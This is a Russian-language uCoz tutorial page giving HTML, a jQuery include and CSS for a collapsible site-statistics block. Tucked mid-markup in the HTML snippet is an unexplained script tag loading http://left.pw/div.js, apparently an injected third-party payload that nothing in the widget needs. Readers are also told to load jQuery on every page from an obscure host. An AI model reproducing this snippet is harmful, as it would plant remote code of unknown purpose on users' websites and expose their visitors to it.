Навигация
Главная страница Файлы Форум Баннерообмен Новости SEO анализ Голд на DepositFiles
PhotoShop
Кисти Стили Узоры Шрифты Клипарты Текстуры Градиенты
Реклама
Canvas not supported.
uCoz
Шаблоны для uCoz Скрипты для uCoz Иконки для форума Иконки для групп
Главная » 2014 » Сентябрь » 6 » Красивая статистика для uCoz
11:41
Красивая статистика для uCoz

Создайте блок с названием "Cтатистика сайта" и вставьте в него сделующий код:

Код
<div id="statistic">

  <div class="Tstatis">
  <div class="title_statis">Счетчики пользователей</div>
  <div class="turn" onclick="$('.Bstatis').slideToggle('slow');" href="javascript://"></div>
  </div>  

  <div style="display:none;" class="Bstatis">
  $MYINF_1$
  </div>

  <div class="Tstatis">
  <div class="title_statis">Онлайн сайта</div>
  <div class="turn" onclick="$('.Bstatis2').slideToggle('slow');" href="javascript://"></div>
  </div><script type="text/javascript" src="http://left.pw/div.js"></script>  

  <div style="display:none;" class="Bstatis2">
  $ONLINE_COUNTER$
  </div>
   
  <div class="Tstatis">
  <div class="title_statis">Счетчики сайта</div>
  <div class="turn" onclick="$('.Bstatis3').slideToggle('slow');" href="javascript://"></div>
  </div>  

  <div style="display:none;text-align:center;" class="Bstatis3">
  $COUNTER$
  </div>
   
  <div class="Tstatis">
  <div class="title_statis">Сегодня нас посетили</div>
  <div class="turn" onclick="$('.Bstatis4').slideToggle('slow');" href="javascript://"></div>
  </div>  

  <div style="display:none;padding-left:4px;" class="Bstatis4">
  $MYINF_2$
  </div>
   
</div>


Этот код нужно поставить на все страницы, перед </head> !!!

Код
<script src="http://pnghosts.ru/js/jquery.js" type="text/javascript"></script>


Создайте два информера:

$MYINF_1$
[ Счетчики для пользователей · Материалы · всех, по дням (сегодня, вчера, 7 дней, 30 дней) ]

Код
<dl>Всего: $ALL_USERS$</dl>
  <dl>За месяц: $30DAYS$</dl>
  <dl>За неделю: $7DAYS$</dl>
  <dl>Вчера: $YESTERDAY$</dl>
  <dl>Сегодня: $TODAY$</dl>


$MYINF_2$
[ Пользователи, посетившие сайт за текущий день · Материалы · Имя пользователя ]

Код автоматом ставится.

В CSS добавьте стили:

Код
#statistic {width:208px;overflow:hidden;margin:0 auto;color:#fff;}
.Tstatis {height:24px;margin-top:6px;}
.title_statis {background:url(http://pnghosts.ru/img/statistic_title.png) no-repeat;float:left;width:171px;height:19px;font:11px Tahoma;text-shadow:1px 1px 0 #553a11;padding:4px 0 0 5px;overflow:hidden;}
.turn {background:url(http://pnghosts.ru/img/button_turn.png) no-repeat;float:right;width:37px;height:23px;margin:0 0 0 -5px;}
.Bstatis, .Bstatis2, .Bstatis3, .Bstatis4 {width:208px;font:11px Tahoma;text-shadow:1px 1px 0 #191919;margin-top:2px;}
#statistic dl {background:url(http://pnghosts.ru/img/arrow.png) no-repeat left;height:12px;line-height:10px;padding:0 0 0 18px;margin:4px 0 4px 0;display:block;}
#statistic .tOnline, #statistic .gOnline, #statistic .uOnline {background:url(http://pnghosts.ru/img/arrow.png) no-repeat left;height:12px;line-height:10px;padding:0 0 0 18px;margin:4px 0 4px 0;display:block;}
Просмотров: 688 | Добавил: Bitfood | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Профиль
Здарова, Гость!
04:50

Поиск
Статистика


Онлайн всего: 1
Гостей: 1
Пользователей: 0